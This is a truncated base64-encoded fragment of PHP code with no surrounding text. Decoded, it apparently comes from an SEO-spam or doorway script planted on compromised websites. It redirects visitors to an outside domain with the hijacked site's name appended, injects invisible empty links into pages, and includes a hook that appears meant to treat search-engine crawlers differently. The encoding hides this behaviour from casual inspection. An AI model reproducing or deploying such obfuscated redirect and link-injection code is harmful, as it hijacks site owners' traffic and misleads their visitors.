YWNlKCIuIiwiXyIsJHRoaXMtPmRvbWFpbik7CgkJCWhlYWRlcignTG9jYXRpb246IGh0dHA6Ly9u dC53eGNvb2xiYWJ5LmNvbS9udC8/anBfJy4kZG9tYWluKTsKCQkJZXhpdDsKCQl9Cgl9CgkKCXB1 YmxpYyBmdW5jdGlvbiBfdW5jb25kaXRpb25faG9vaygpewoJCSRhcnJheSA9IGFycmF5KCk7CgkJ Zm9yKCRhPTA7JGE8NTskYSsrKXsKCQkJZWNobyAnPGEgaHJlZj0iJy5BcHBfR2V0TGluaygpLici PjwvYT4nLiJcbiI7CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBfdW5TcGlkZXJfaG9vaygpewoJ CS8vCgl9CgoKCXB1YmxpYyBmdW5jdGlvbiBzdHJTdGFydFdpdGgoJG5lZWRsZSwgJGhheXN0YWNr KXsKICAJICByZXR1cm4gKHN1YnN0cigkaGF5c3RhY2ssIDAsIHN0cmxlbigkbmVlZGxlKSk9PSRu ZWVkbGUpOwoJfQoJCglwdWJsaWMgZnVuY3Rpb24gY3V0KCRmaWxlLCRmcm9tLCRlbmQpCgl7IAoJ CSRtZXNzYWdlPWV4cGxvZGUoJGZyb20sJGZpbGUpOyAKCQkkbWVzc2FnZT1leHBsb2RlKCRlbmQs JG1lc3NhZ2VbMV0pOyAKCQlyZXR1cm4gICAkbWVzc2FnZVswXTsKCX0KfQoKCg==